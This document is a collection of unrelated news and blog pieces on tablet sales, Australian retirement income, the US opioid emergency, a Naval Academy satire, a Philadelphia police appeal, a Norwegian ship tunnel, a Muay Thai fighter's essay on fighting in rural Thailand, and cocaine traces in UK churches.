-Apple is leading overall online tablet sales for the previous 12 months ending in October. But for the first time, Microsoft and its rival devices have earned a mini-victory.  Microsoft’s tablets, including the Surface Pro 4 and Surface Book laptop-tablet hybrid, had a 45% share of U.S. online tablet sales in October compared with 17% for Apple, according to data analytics company 1010data.  This is a milestone for Microsoft, which has trailed Apple (AAPL) in every month for the past year. It shows that Microsoft (MSFT) is making headway in a push into the tablet market that started slowly in 2012.  However, for the 12 months, Apple dominated the tablet sector overall in online sales. During that period, it had a market share of 34% versus 19% for Microsoft.  1010data said its data comes from millions of U.S. consumers who voluntarily share their shopping histories. The report did not take in account customers who purchased their tablets in brick-and-mortar stores, such as Apple’s retail stores or Best Buy.  The survey lumped together both tablets and variants of the devices known as laplets, 2-in-1 PCs, and detachables.  A report by International Data Corporation earlier this week said that overall shipments of tablets have declined 8% in 2015 compared to last year. The IDC analysts, however, said that sales of detachables had increased and that Apple’s iPad Pro could help bolster overall tablet sales.  The 1010data survey authors wrote in their study, “Without the inclusion of laplets, the tablet category would appear relatively flat or even declining when in reality, the category is evolving.”  Subscribe to Data Sheet, Fortune’s daily newsletter on the business of technology.  For more on tablets, check out the following Fortune video:
-More than 60 per cent of retirees face a looming crisis of running out of money before they die, with the Turnbull government on notice to encourage older Australians to take up retirement income products.  Research from global wealth and retirement consultant Mercer shows most people only have enough savings to last 14 years beyond retirement and will, on average, outlive their savings by five years.  Mercer has iterated the income crisis as it relaunches its world-first pooled risk product LifetimePlus designed to offer a continuous income, which grows as customers age.  The product, first launched in 2014 but recently tweaked to include growth investments and more flexibility, manages longevity risk across a pool of at least 1000 lives, with options for people to exit and recoup up to 95 per cent of their funds if they don’t survive 10 years beyond retirement.  The income-based product needs about a quarter of retiree’s savings to ensure income until death and will sit alongside fixed income insurance-based annuities and deferred annuities in an otherwise sparse market for Australians looking for an adequate income above the age pension.  Mercer senior actuary David Knox said Australians were underestimating how long they will live, a problem compounded by Baby Boomers’ expected unsustainable spending habits.  “People that are in their 80s or 90s now grew up in The Depression and WWII and had an initial lifestyle that was pretty tough and learnt to live it tough,” he said.  “The Baby Boomers have had a pretty fortunate life and I think there’ll be an attitude amongst them to keep living and spending.”  Mr Knox said spending did not necessarily decrease with age because active spending on travel and lifestyle switched to medical and aged care expenses in later life so there was a need for income to grow throughout retirement.  It comes as financial service providers pressure Social Securities Minister Christian Porter to incentivise more MyRetirement products as recommended by the 2014 Murray Inquiry into the financial system.  The Actuaries Institute last week said financial service companies were keen to develop products to give retirees confidence of an assured income but were hamstrung by how such products would be treated in the means test for the age pension.  Mr Porter has said government is developing fair means-testing rules to encourage more innovative retirement income products based on consultations with the sector.  Patricia Pascuzzo, executive director of independent think tank the Committee for Sustainable Retirement Income, said she had contributed to the means testing review, urging federal government to clarify its means test for the age pension to unlock a range of products to ensure adequate retirement incomes.  “The fact is that many Australians are having a lot of difficulty in managing their longevity risk,” she said.  “We’re seeing a lot of evidence of pensioners living quite frugally because they are unsure how long they’re going to live.  “There is also one in five who are drawing down on their super at an unsustainable rate.”  She said Australians generally needed a retirement income of about 60-70 per cent of the pre-retirement earnings and superannuation trustees should be “nudging” people into appropriate income solutions.  “You’ve got more and more people who aren’t living with the peace of mind in retirement that they could have if they were given better support in the lead up and during retirement,” she said.  “This highlights the importance of making the most efficient use of their super balance and all their assets, including their house, in retirement given that many are not going to be self-sufficient and still reliant on the aged pension.”
-When President Trump announced in early August, following a presidential commission’s recommendations, that the opioid crisis was a “national emergency,” he called it “a serious problem the likes of which we have never had.”  A month has now passed, and that urgent talk has yet to translate into urgent action. While the president’s aides say they are pursuing an expedited process, it remains to be seen how and by what mechanism Mr. Trump plans to direct government resources.  While the president’s opioid commission, led by Gov. Chris Christie of New Jersey, has urged him to move swiftly, Mr. Trump and his cabinet — primarily his health secretary, Tom Price — are trying to determine how best to move forward amid warnings from deficit hawks within the administration about the potential costs.  As with many of his campaign promises, Mr. Trump is discovering the realities of limited government resources, slow-moving agencies and the competing agendas of cabinet members, even as they try to push in the same general direction. The hurricanes that have struck Texas and Florida, and the costly recovery that will follow, appear to have complicated the process.
-ANNAPOLIS, Md. — The U.S. Naval Academy held its graduation ceremony Friday morning, commissioning the newest class of weirdos into the ranks of the Navy and Marine Corps.  “I am pleased to send so many fine young officers to the fleet,” said Capt. Jim Cunha during the commencement ceremony, noting that the academy had spent the past four years transforming students from raw 18-year-olds to creepy 22-year-olds. “Now the Navy and Marine Corps will reap the fruits of our labor. They are excited to be getting officers who will stand motionless on the field during a softball game, get in the way of people trying to pass them during runs, and refuse to clean their own racks.”  “2nd Lieutenant John ‘Muddy’ Waters is our valedictorian,” Capt. Cunha said. “Funny story about him, once a girl smiled at him. Lt. Waters stood outside the female barracks for eight hours hoping to get a glimpse of her through the windows. That’s the kind of discipline it takes to be a leader of Marines.”  Soon after the ceremony, the Navy and Marine Corps will gain its next generation of awkward ensigns and second lieutenants who also happen to not have any idea what they’re doing.  One new graduate, Ensign Doug Hernandez, enjoys pulling the legs off of spiders and pouring salt on slugs. While he says he can’t wait to lead men in battle, he’s certain his men will be inspired by his unwavering patriotism and devotion to duty.  “I went without an iPod or sex for a year,” Hernandez told reporters. “Some people thought it was stupid but I knew it was to protect my family and defend our freedoms.”  “I hope you all go on to become high-ranking officers,” Capt. Cunha said in his address. “And I know that won’t be hard. Throughout your career you’ll be promoted over more capable officers because you went to the Academy. But never forget about your enlisted sailors and Marines, and how they should be viewed as subhuman beings.”  Students at the Naval Academy spend four years in college and spend three weeks every summer on Navy ships or with Marine units for training. According to sources, female midshipmen learn everyone in the fleet wants to have sex with them during these events.
-*** APRIL 26 2013 UPDATE THANKS TO www.liveleak.com/c/Dionysos_Pint *************************************************************************The Philadelphia Police Department is looking to identify three suspects who assaulted a 27 year-old-male with a handgun in Tioga.On April 22, 2013, at 6:45pm, the complainant was approached by a group of unknown males in the 3300 block of North 16th Street. One of the males reached into his backpack and pulled a handgun and pointed it in the direction of the complainant and stated "hey buddy". The complainant then ran into a house and called 911 and the suspects fled south on 16th Street toward Allegheny Avenue.Twenty minutes earlier a juvenile was captured on surveillance video approaching a female and point a handgun at her. The female puts her hands up as if she was being robber but then continues walking from the area.Suddenly another male appears and takes the handgun from the juvenile and walks east on Ontario Street. This male then drops to one knee and points the handgun in the direction of a group of males walking towards him. The suspect then runs toward the males with the gun in hand and then joins this group of males at 16th and Ontario Streets.Suspect Description: Suspect #1: Black male, 10-12 years-of-age, 4'9″, thin build, wearing a red t-shirt with white writing, blue shorts, green sneakers and a multicolored backpack. This suspect is wanted for questioning about the firearm. Suspect #2: Black male, 14-16 years-of-age, thin build, dark complexion, 5'5″-5'7″, wearing a dark hooded sweatshirt, dark pants with black and white sneakers carrying a red backpack. Suspect #3: Black male, 14-16 years-of-age, thin build, light complexion, close cut hair on sides, 5'5″-5'7″, wearing a red zip up hooded sweatshirt, camouflage pants with black and white sneakers.If you see these suspects do not approach them, contact 911 immediately. To submit a tip via telephone, dial 215.686.TIPS (8477) or text a tip to PPD TIP or 773847.
-The Stad Peninsula in Norway has one of the most dangerous coastlines in the region. As the meeting place between the Norwegian Sea and North Sea, the turbulent waters have claimed the lives of dozens sailors over the last several decades. Which may explain why Norway’s top coastal agency wants to dig a $272 million, mile-long “ship tunnel” to create a safer passage for commercial vessels.  Designed to accommodate ships as massive as Norway’s Hurtigruten cruise vessels, the tunnel would be nearly 150 feet tall, 118 feet wide, and more than a mile long. The Norwegian Parliament earmarked 1 billion Norwegian kroner, or around $118 million, for the project in the National Transport Plan for 2014–2023. Construction is set to begin as early as 2018.  Which is not to say this is a done deal. The coastal administration estimates that approximately 7.5 million tons of blasted rock would need to be removed, which could take up to four years to complete.  Ships might access the tunnel from the north in Selje, with southern access via the Moldefjord. This is where the Stad Peninsula is at its narrowest. The current proposal for the tunnel incorporates a bridge near the southern access so pedestrians can glimpse ships as they pass by.  If a ship tunnel sounds like an absurd idea, it’s probably because no one has tried to build one before. The Stad Ship Tunnel, as proposed by the Norwegian Coastal Administration, may never break ground, but Norway’s tourism industry is already stumping for the idea.  VisitNorway.com says the architecture firm Snøhetta put together these renderings as part of a photo project targeted toward politicians to help them make a decision. Which given how cool this thing looks, shouldn’t be that hard.
-There is a certain romance to fighting in Thailand, wherein you train for some time at a Thai gym, traditional or otherwise, and you find yourself accepted by the gym and become part of its extended family. You travel with the gym, the Thai boys, and you fight for them and alongside them. It’s a beautiful thing, and I’ve experienced this. But this is about the romance of a different, less common kind of fighting in Thailand; something I’ve truly come to love. Of course there is much more to fighting than the romance of it, and I spend a lot of time writing about those things, but here I take on the feeling of the way of fighting I’ve found.  I’m lying on my back, looking up at an almost perfectly round moon, one night shy of being full. There’s a cable running across my line of vision, up high, from it hang alternating flags that are red, white and blue (Thai flag), and yellow with a red dharma wheel that is a Buddhist flag. We’re at a temple; behind me to the right are two monks, perched atop the steps of one of the shrines so they can watch over the makeshift wall that separates the ring from the rest of the festival, so that admission can be charged. This line of flags cuts over the top of the bleachers that reach up some 20 or 30 feet above me, straight up so that I can see the backs of all the men sitting on the top tier. Occasionally a few of them turn around, usually between rounds of the fight in the ring, and stare at me as as I lay on my mat in the darkness – they talk among themselves. These are the only audience members to be able to see me, from our little reclusive spot behind the bleachers, which is cut off on either side by parked trucks. Kevin and Jai Dee are laid out next to me on our mat, which is overlapping a few inches with the two mats of a few male fighters also on the card: one is wrapping his hands, one is napping. When we first arrived we’d put our mat down with a small gap between that mat and ours and the man in charge, who would be acting as my corner tonight, insisted that we connect the grass-woven mats. Closing that gap was really important, even though almost nobody else was around.  The Thai Way is traveling in groups. If there’s a truck headed to fights (or wherever), standard procedure is to cram that truck as full as possible with your entourage, which can include kids who will be working the corner, as well as family and neighbors. The groups can be big. The fact that I travel alone to fights, just me, Kevin and Jai Dee, is unusual. Add to that the fact that I’m a foreigner (as is Kevin, so we aren’t even traveling with a Thai chaperon) and it’s even more strange. Usually a western fighter is brought out to festival fights by their gym and kind of led around – this was my experience for years at Lanna. Even though festival fights were my favorite (and still are), I was guided through them more or less by my gym. The boys would tell me when it was time to wrap my hands, change into my shorts, get my massage and go to the ring. There isn’t usually any English spoken, so if you can’t read the fight program or hear when your name is being announced, you don’t even have any clue when you’re fighting. Showing up to a situation like this where you don’t know anybody, don’t have group “backup” or support, don’t necessarily have any idea when or who you’re fighting, you’d be a kind of the sucker at the table. Imagine a guy walking into the casino and everyone assumes he’s loaded because he’s a westerner, then he saddles up to the table looking confused and being by himself and nobody is even certain if he knows the rules of the game being played – a fool and his money will soon be parted, right? That’s a little bit what it could be like as a foreigner with no entourage in tow at a festival fight. And yet this has become somewhat common for me.  Because I now train either bare-fisted or with a thin gauze wrap, very minimal, I’ve grown comfortable wrapping my own hands for a fight. I know my hands now and they “need” very little. It used to be that I really longed for the superb, artful wraps of my expert corners – men with hundreds of fights, and having cornered a thousands times, tight layers of tape and cloth with unique techniques in how to pad; but now I grow quiet with my own simple gauze and a little tape. In the past when I would see my opponent wrapping her own hands I knew I was in for a fight. She’s done this many, many times before and wrapping one’s own hands demonstrates experience. I’ve become that girl. The old men who see me doing this give me enthusiastic thumbs up and a nod of approval.  I find the venue, find someone to corner for me (or meet whomever has been asked to help me by someone back home). I wrap my own hands, and try to explain to the men who will be in my corner how I fight, my style, so they know what they’re working with – don’t be telling me to kick and kick and kick. Sometimes I’m not sure if I’ll get an oil massage or not, which is really only because I’m a woman and it might be considered impolite for grown men to do this for me. Sometimes my corner will go find some kids out of the crowd, or just any other young woman who knows a thing or two about Muay Thai, to do my massage so the man in charge of my corner doesn’t have to. It’s a game of just making it all work – largely improvised and different each time. But here’s the thing: the chaos of this kind of improvisation used to throw me for a loop. When I was fighting in the stadia of Chiang Mai, all kinds of “unexpected” events or small changes might freak me out: my corner not wrapping my hands until it was a rush to get into the ring; the boys who were meant to “take care” of me being completely used to the process of going to fights, to the point of boredom, so I felt like they didn’t care about me or my fight… and they kind of didn’t, but I still thought at that time that everything was important; or having items forgotten – oil, a handwrap, tape, the mongkol… and inevitably there was always something missing. But now this kind of chaos is expected and it doesn’t feel important at all. Somehow, before, anything that was wrong was a distraction; now, because something always goes wrong I just focus on the most simple elements. One handwrap? Sure, split it in two. No tape? No problem, tuck it in or find some to borrow. Cornermen who I don’t know not paying any attention to me until I’m actually walking to the ring? Right as rain, honestly. Because everything has been paired down and simplified. It doesn’t read as chaotic anymore, it’s just noise, a buzz around the very basic patterns of fighting. Just pure fighting.  A Nora  In this way, I’ve become something of a Ronin fighter. Kevin and I just finished watching an Anime called “Noragami,” which translates to something like “stray god.” In the show the different gods have regalia, which are divine instruments for the use of the gods in battle. But they’re also sentient souls, named and dedicated to one god – the god who gives them their name.  But a Nora is a regalia (weapon) with more than one name; they’re seen as tricky because they may serve more than one master, but they’re also very powerful and able to do things that the normal, single-master regalia cannot do (due to the limitations of rules, really). I definitely identified with the Nora, because as a fighter who goes out on her own, without her gym and without a corner at times, I’m something of a rogue spirit. It’s romantic in some sense, in that I have this freedom to fight as much as possible, beyond the interests of a single gym and its resources, and because I speak Thai and can discuss fights with promoters directly, tell the men who are cornering for me what to expect from me, etc, (I mention knowing the language a few times in what follows, its an important dimension to this possibility). I also have this capacity to “serve” the investment of anyone who is hosting me. A promoter wants me on his card, he can book me and I’ll show up and fight pretty much anybody. S/he wants to put money on me, I’ll fight to my utmost and can make money for that promoter, my corner, and anyone else who is keen to bet on me. But it’s not all romance; as a Nora there is a “tsk” and head shake that comes from fighting with more than one name (when I fight up North, Lanna uses their name on cards; when I traveled with O. Meekhun they used their name; when I fight anywhere else or give my name to promoters myself, I am always Petchrungruang) because it’s not the strict devotion that is expected of contracted fighters. (I’m not contracted, though I am always respectful.) This moral component is perhaps best captured by the English word stray.  In Thai culture you are largely the sum of who you belong to, not just your family, but your clan, your baan (“home”). You do not willingly disconnect yourself without consequences. You are woven from local fabrics. But you are also what you appear to be, your image is a real manifestation of you. Images, displays and surfaces have power, they are the foundations of belief.  The stripped-down, super simplified way of fighting where I just show up and get in the ring feels amazing in many ways. I’m not waiting for my team to get me ready, which even though I truly love my home gym and feel very much a part of them, is often an emotionally painful experience because I am simply not (and never will be) treated the way the boys are – the boys of Petchrungruang are its future, its economy, they are hopefully to become big Bangkok fighters. It’s awkward for the gym to deal with me, because they are somewhat traditional and only have the youngest boys help with my massage, but I’m also too old for them to treat me like a little kid who they can guide around everywhere. So I’m kind of ignored, which only feels bad because I want the attention you’d expect if there was a lot of importance placed in the fight. But that’s not how it works here; my gym will put money on me and not even tell me – that money is faith, it’s belief in me, rather than the “you’re going to be great!” pep-talk that my western brain so badly wants and simply won’t ever get. So it’s nice to not expect it – to not even desire it – because my corner is, in these far-away fights, comprised of strangers. By being this rogue fighter, I’m in charge of myself and any help that’s offered to me is simply appreciated. I’m very self-directed because of this independence, and that feels good to me. I can bring good reputation to my gym by fighting hard, by winning in the outlying provinces, by impressing the promoters and gamblers so they remember me and want me to fight again. And I can bring money to the gamblers and promoters who put their financial faith in me. But I have to win.  I have affinity for the wandering, homeless, and thoroughly ethical fighter. The romance of it is captured perhaps best the incredible Zatoichi series (above) which follows the adventures of a blind swordsman as he journeys across Japanese countryside, from village to village, encountering a world ruled by local powers. I watched these films at length long before I thought to come to Thailand, and it makes a remarkable coincidence (or perhaps none at all) that I find myself in the Nora position at times, traveling out to fights, fighting at very high numbers, now often with very little support present. There is something incredibly sympathetic about the Ichi character.  I am coming back to my mat, turning to accept congratulations, and alternately have my makeshift corner start messing with my wraps, picking at the adhesive that stubbornly clings to the gauze underneath. A grandmother is grabbing my bicep and working her way down my arm in a combination of disbelief and wonder. Perhaps she bet on me. It is not uncommon for people to want to touch you after you have won, to – it would seem – rub off some of the merit, the glow of what makes victory, the luck of who you are in that moment. If you win a raffle, people might gather around to touch you and glean some of that luck. And you can share it – there’s no risk of it being “rubbed away.”  The Beauty of Gambling  In many circumstances in Thailand promoters will book westerners on their cards for novelty and interest. In cities like Pattaya, Chiang Mai, Bangkok (or perhaps the Islands), a non-Thai on the card is expected to sell tickets. For some it’s simply that tourists want to see a Thai vs. Westerner fight, maybe their own countrymen; and for some the promoter knows that booking a westerner from a gym means all the other westerners at that gym will buy tickets to come support. But out in the countryside, the novelty is for Thai gamblers. Kevin and I are often the only westerners at all when we walk through the huge crowds of festival fights (see the video below). So, booking a westerner as novelty is one level of fighting out in the countryside or stadia far away from my home gym. But putting money on me is a different thing entirely. It’s the promoter putting skin in the game, so to speak, and ensuring a tough fight. Gambling is complex in Thailand, but it’s of incredible importance and it’s the heartbeat that pumps blood through Muay Thai across the country, especially in the provinces. There are the odds, which is how the crowd bets on fights, but there’s also the “side bet,” which is basically each side in any given match saying, “our fighter will beat your fighter.” If you want to put 10,000 Baht on your fighter (about $280 USD), then the opponent’s side has to agree to that sum and match it. It has to come from legitimate belief that your fighter can win, otherwise you’re just handing someone money. Coming out to these fights without my gym, without a corner, without some kind of representative, the side bet is tricky. Part of the pressure on me to win is that, whatever happens in these fights out there, that’s what the promoter and the gamblers will remember; it either opens a door or closes it. And by not having my own gym present, which knows that I have good days and bad days, knows my strengths and has built belief in me over the course of almost two years now, when I come out here alone that belief has to be sprung from “reputation” for the promoter to put down money on me for a side bet. He or she has to believe, “I think my fighter can beat yours.”  I wrote this on Facebook, describing events preceding my last fight:  The importance of the side bet. So about 30 minutes before my fight my opponent comes to my mat with her coach to size me up. This means we literally stand up next to each other. She was a good size, taller – Thai girls are really good at slumping down and looking smaller in these moments, it’s a skill and a hustle. She had a few kilos on me. 10 minutes later the promoter comes to the mat and starts talking about the matchup and that my opponent is demanding a 5,000 baht side bet. They won’t fight without it. Kevin and I look at each other, we don’t have 5,000 baht (about $150), and even if we did we couldn’t bet it in an uncertain festival fight where you don’t know how the refs will line up along local ties. We’re afraid the fight is going to be called off. No, no the promoter tells us, he’ll put up the sidebet. He just wants to tell me to fight “dem” (full, ie really hard). Yeah, no problem. That’s how I do. I guess she thought she had some easy money. I love this shifting aspect of festival fights.  There is something so beautiful about this. The attempted hustle on her part, the weighing of my reputation. People talk a lot about “fairness” of fights in the West. Fair, transparent judging, making sure everyone is within a kilo after huge weight cuts, so many mechanisms of “fairness”. But when you fight a lot, especially in these circumstances, you realize that there are advantages and disadvantages everywhere, every time, and in many variations. Weight is one of many aspects involved in trying to make a fair fight, by which we should mean a competitive match up. In these Ronin fights for me there can be judge or referee bias, so you are fighting uphill, no big deal – you have to control the fight more demonstratively. You may unjustly lose, no big deal (if you fought the fight you wanted to), it happens. This world of fighting is closer to Fight Club than it is to some internationally sanctioned tournament that produces a trophy or a belt. The weigh-in is to convince gamblers that there’s an attempt at making a match even; this may be required for both sides to make the side bet, but if both sides are convinced enough in their fighter’s abilities, then the weight can be disequal. This is fighting. You go, you see, you fight.  Personally, I would take a fight like this over 99 out of a 100 championship fights in a big arena, with belts or other pieces of public glory on the line. This kind of fight feels alive to me; it feels connected, even though I’m going out as a satellite. It has no hype. It is just fighting. And honestly, there is not much difference in the difficulty of the fight. I’ve fought World Champions in a hidden festival or a out of the way stadium, and on big shows. It’s the same fight. Yes, one gives you public acclaim in the West and attaches a belt or top event victory to your name on websites, and the other spreads your name through a grapevine of Thai murmurs. I prefer the latter, really. Nothing against those that hold belts, and fight big shows. I’m sure those achievements are very satisfying and worthy honors that last a lifetime… but this post is about the Romance of another path, the path of the Wandering Fighter. “Good for you… not for me.” In truth, in Thailand fights for titles and belts is about who you know, they are arranged by the connections your gym has, contacts with organizational promoters – usually in disregard to rankings – I’m not really connected in that way; but in my world contacts are often direct, with the promoter speaking directly to me to book me on their card. I love that; and that’s why these promoters will put their own money down for me, even though I’m a Nora. That’s why I can approach the ticket gate of a venue I’ve never been to before in the middle of nowhere, and tell them I’m a fighter in order to get through, and someone will inevitably already know my name or have seen me fight somewhere else before. That’s my “title.”  It is not uncommon for female Thai fighters to fight under multiple names (I assume males do, too; but I don’t follow them as closely). Sometimes they have a home gym name, but also a Bangkok name. Because they may be contracted they may make up a name for a region of fights, or even a particular fight, to hide their identity for match-up purposes or to avoid paying part of their purse to their contracted gym, or even just to be able to fight “off the books”. Names do shift in the female fight scene. A name reflects status and the context you are in.  Appearances  What cannot be left out is my appearance as I travel into the provinces. I’m never completely sure how I am seen, but I can tell you that I am starkly out of context. I walk into an Amazon Coffee when on the road and the teenage girls behind the counter talk loudly among themselves, not realizing I am understanding them. My sak yant are not just decorative, and among believers it must look like I am walking around fully armed, as in, weaponized. I have sak yant on my hands, which is an extreme placement, no doubt looked down upon by any with social standing – or with concern. And when I take my sweatshirt off, and stand there in my fight top, getting my massage, I am covered with very powerful images: a Sangwan Rahu (a dark deity) on my chest and two large Tigers and Takroh (authority and protection) on my back. The Sangwan is something almost exclusively tattood on males, and it is a little Old School. Beyond this I am incredibly muscled for a female. I really don’t lift weights much, the sum of it comes from just pounding the pads and bag, and lots of clinch, but naturally I gain muscle easily and I look like no other female seen in these areas. Possibly socially nefarious (tattoos read like how they might in the 1960s in the west), and magically incanted. For a long time I had a very hard time accepting the stares I would generate. They are rarely complimentary. But you do not commit to this way of life – not only my training, but also my spiritual path via sak yant – without owning what you have become and are becoming. I just must look unbelievable… and as a Thai-speaker I’m probably even stranger. I can’t count how many times I’ve uttered even the most minimal Thai and the response be utter shock. If there is a Romance in this, it is that I carry with me not only the appearance of how hard I train, in my physique, but I also carry with me the marks of the kinds of superstitious beliefs that mean something in the provinces; and they mean something to me. I am ultimately alien, but not only because I am farang. I am alien in almost everything that I appear to be, a complete anomaly. And when I fight strong, in my clinch style, all that armored imagery and physique looks like it comes to fruition.  How Unique this Is  I’m not sure if anyone has fought like this in Thailand, and if they have they are very few, and they’ve left no record other than a few stories told to friends – it’s one reason why I write. There is a constellation of qualities, relationships and capacities that all allow this way of fighting to exist – for me. Firstly, I have the blessing from my trainer and the owner of my gym (Pi Nu) to find fights for myself outside of Pattaya. Without that, I would be disrespecting him with this kind of promiscuous fighting. This is extremely important. I asked him if I could use his name when I fought around Thailand and at first he was hesitant, he didn’t know me yet; but now that I’ve established myself, he’s proud of me and proud of my reputation being connected to his gym. That took time; that was earned. And he still is proud of me when I lose. But in order to make these fights possible I also have to be able to talk directly with promoters, to follow the women in weekly magazines who are around my weight class to ask for as opponents. So speaking Thai, and just as importantly being able to read and write it opens this world to me. Often these venues are hard to find, as they’re temporary rings set up in fields or on temple grounds. Being able to find them with a rented car requires GPS (the godsend, without which this would not be possible), LINE texting in Thai, understanding what people are saying to me when I hunt for directions, etc, is essential. Even 5 years ago I’m not sure this would have been possible, technologically. And small things like being able to hear my name on the loudspeakers, so I know when to get ready on cards that are shifting their order of fights over and over; being able to read the program, and ask questions, all of this is important when not having a Thai buffer when we arrive at these rings. These things remove a thick layer between myself and the fight, make it feel purer for me. A simplified version of fighting.  And of huge importance is having learned the ropes of traveling for fights after my GoFundMe 1.5 years ago that allowed the possibility of renting a car and driving to other provinces in order to keep fighting. First and foremost was just being able to afford traveling to fight, to rent a car, to stay the night in a local hotel. This was how I got my name out there and made connections with promoters outside of Pattaya. And that was made possible by people who follow my page believing in me and supporting what I do; without that support none of this would have been possible – now this site and my fighting is supported monthly on Patreon. Everyone who contributed to that created a long lesson for me in “How to Travel to a Fight”, social and pragmatic lessons taught in small steps. Everything from how to get to where I’m going to how to build relationships around promotions. Now when I go to fights I will often leave with a phone number that can lead to future fights, sometimes not even with the same promoter but someone else in the stands excited by my fight and who wants me to come to their province, their promotion, which is how I met Madam Khem, who is my Isaan manager now and one of very few big female promoters. She’s amazing.  I do not believe you can achieve this, especially as a female fighter, out of a single gym, home or Thai family. The deeper you settle in the culture of a traditional gym, as a woman, you take the role of a woman. The expectations change for you.  Mai Mee Baan – The Homeless Ronin  The expectations change for you. You have to constantly struggle against the stagnation of belonging, while proving that you belong out of the respect and devotion you give. Female fighting is not lucrative, and women are more or less expected to stop fighting almost as soon as they can. Even as a man in a gym, where you fight, with whom you fight, and an what shows you fight all depends on the connections of your gym – for a western female this can be even more so the case. I do still get fights through my gym, including out in the countryside because some of the men who are peripheral to my training (avid gamblers Small Man and Chicken Man who live at the chicken farm attached to the back of the gym) will book me for fights in Isaan, even if they don’t come with me. So those connections are very important, they are part of the extended reach of my gym. But because I have my own relationships also, those that have arisen from fighting itself, the possibilities are much wider – it’s who I know as well.  Just after my most recent fight up in Pak Thong Chai, where the promoter had put up the side bet for me when my opponent demanded it (thus earning him 5,000 Baht – $140 USD), he said to me after the fight, “I have your number now so I can call you to book more fights.” I told him that was great, that I’d love to come back anytime and next month is pretty open. That seems great, this is exactly how I make connections in order to book fights at a high rate. But here’s the second element: it’s probably slightly uncool for him to cut out Chicken Man straight off like that. That’s who made this fight for me in the first place, even though he totally passed me off by not coming with me as my corner. It’s nothing nefarious at all, but in terms of how things are done, I suspect there’s something slightly off about cutting him out to book with me directly. It’s part of being a Nora fighter and it is, in essence, further severing me from my gym rather than tying me back into it. I suspect that this is possible in part because I’m not Thai – there’s a looseness in the rules which allows behaving in a way that is outside of one’s own custom or social parameters. When I arrived back at Petchrungruang the next afternoon, driving back from Khorat the morning after the fight, having a nap and then heading straight back to training, nobody at the gym was surprised to see me. But everyone knew where I’d gone and most of them knew the name of who I was fighting; they wanted to know how the fight went, what round I’d won in, was there a side bet, etc. I was filling them in on all these things that should have been shared experience in a normal situation. And while their not being there is slightly unsupportive of me (they could have driven out to corner) – and me going alone is slightly like the semi-stray cat strolling in – there was still this feeling of pride; like I’d gone out and represented them well and brought the name esteem. But because of the negative qualities of being a Nora, which I’m only really able to do because I’m so strange (a western woman who wants to fight all the goddamn time), I have to make doubly sure that I show the qualities of respect and affiliation to the gym. I deeply value my home gym, as well as other gyms that have helped me develop. I am loyal to them, and in the end their respect is a decisive aim for me. It doesn’t really matter what is said or thought, as long as my gym and my trainers appreciate me.  Why Fight Like This?  The first and most obvious answer is this: I believe that this is the way one becomes the best fighter she can be… fighting a great deal. I mean this not only in terms of performance in the ring, but also in a deeper way. We all discover things about ourselves as we push through marital arts, and in the fights we have, and there just are things about you that you will not discover in 20 fights, or 50 fights. For me, after 70 fights, after 100 fights, after 130 fights. Extended losing streaks strip away surface things, extended winning streaks nourish and solidify. I’ve uncovered things within me that I just could not see without going through it – unless you’ve been there you cannot know. You may think you have it down at whatever point you are at – what fighting means, what fighting is about – but there is more. I fight like this to get to the next layer.  Another, perhaps less obvious answer is that this is just a privilege to be able to fight in Thailand, the home and cradle of Muay Thai. Each and every fight is precious. And every time you fight it changes you. There is nothing like it. We all have a very limited time to experience these things – even someone like John Wayne Parr, who has retired a few times, realizes that there is nothing like a fight, and every fight is golden. When you stop – and we all do stop, eventually – it is finished. So I am determined to experience fighting as much as I personally can. This is time you cannot waste. You will never be at this place in your life again. Like a person who lived through the Depression and as a result continues to hoard every piece of aluminum foil long into life, I remember how incredibly hard it is to find a fight – especially at my weight – in the US. I remember fighters like Amy Davis who had to go years without opponents, and I refuse to not honor that reality. I will fight because fighting is extremely valuable, and it is limited. I want to see what is beyond the next bend, and I want to report it to others. If you draw the map others can explore it and expand on it.  I Do Have a Home, I Return To It  With all this said, I am not a mai mee baan fighter; I’m not homeless. I have a home in Petchrungruang and I am strongly devoted to it. Additionally, gratefully, I also feel very much a part of it. What I do is uncommon and if I were a Thai boy would simply not be allowed. But for all the dismissal I face for not being a Thai boy, I also have liberty because of that.  Nobody wants to see the Zatoichi episode where he settles down and stops roaming. As much as it feels sad to see him walk away from what appears to be settling, that is his way; he’s got to ramble on. But that doesn’t mean he doesn’t experience real connections – he would draw his sword to protect the people he has met along his journey who he truly loves… but he won’t lay down his sword because it would end the world of Zatoichi. But even I have more of a home than a Zatoichi. Being a stray is not unburdened and it’s certainly not uncomplicated. But that doesn’t mean it’s disconnected or disloyal; you can be respectful and self-directed at the same time. It’s hard for me to communicate that both of these tendencies exist within me at the same time. I can be respectful and loyal, while I’m still reaching for the freedom to become what I can be. I know Pi Nu feels my loyalty and my gratitude, and for me that’s all I require. Pi Nu, has shaped me and helped me evolve in a way that makes me feel indebted to him. But in the way you may feel indebted to your parents, to a mentor – the kind of debt that cannot ever be repaid other than in the continued desire to try to repay it. It took Pi Nu a while to see what I am, and a little longer to accept it, and now to actually embrace and advocate for it.  Thank you to everyone who champions me on Patreon.  A Little Video  Below are two videos to give a feel of what I’m talking about. The first is footage of me walking out to my corner through an enormous crowd of gamblers at my last fight in a festival in Pak Thong Chai in Nakhon Ratchasima province in Isaan. The second is a few kilometers from the festival, driving home the following morning. The wind on the microphone makes it all seem more eerie than it was, but in a way it really is other-worldly, attached by the string of a GPS signal, so we can know where we are going, surrounded by farmland and gravel roads.  Walking Through a Crowd  Driving Home From Isaan  You can support this content: Sylvie von Duuglas-Ittu on Patreon
-Traces of cocaine discovered in Britain’s churches (Picture: METRO/Myles Goode)  Traces of cocaine have been found in churches up and down the UK – including St Paul’s Cathedral, it has been claimed.  Tests were carried out in the toilets of 25 well-known places of worship in Britain.  Swabs taken from toilet seats and cisterns revealed traces of the Class A drug in the bathrooms of 11 of them, according to the Sun which carried out the investigation.  MORE: Prime minister heckled by flood victims in York  Traces of cocaine were found in St Paul’s Cathedral (Picture: Ratikova/Ratikova)  They include St Paul’s Cathedral, Southwark Cathedral and St Leonard’s Shoreditch in London; St Ann’s and Christ Church Moss Side in Manchester; Renfield St Stephens and St Aloysius in Glasgow; St John the Baptist in Cardiff, Our Lady and Martyrs in Cambridge, St Martin in the Bull Ring, Birmingham and Canterbury Cathedral.  Advertisement  Advertisement  A spokesperson for Canterbury Cathedral said it was ‘sorry’ to hear cocaine had been found.  A spokeswoman for St Paul’s added: ‘These are public toilets used by a great many members of the public, and we have about two million visitors a year.’  MORE: Andy Carroll unveils new haircut, Twitter can’t get enough of it
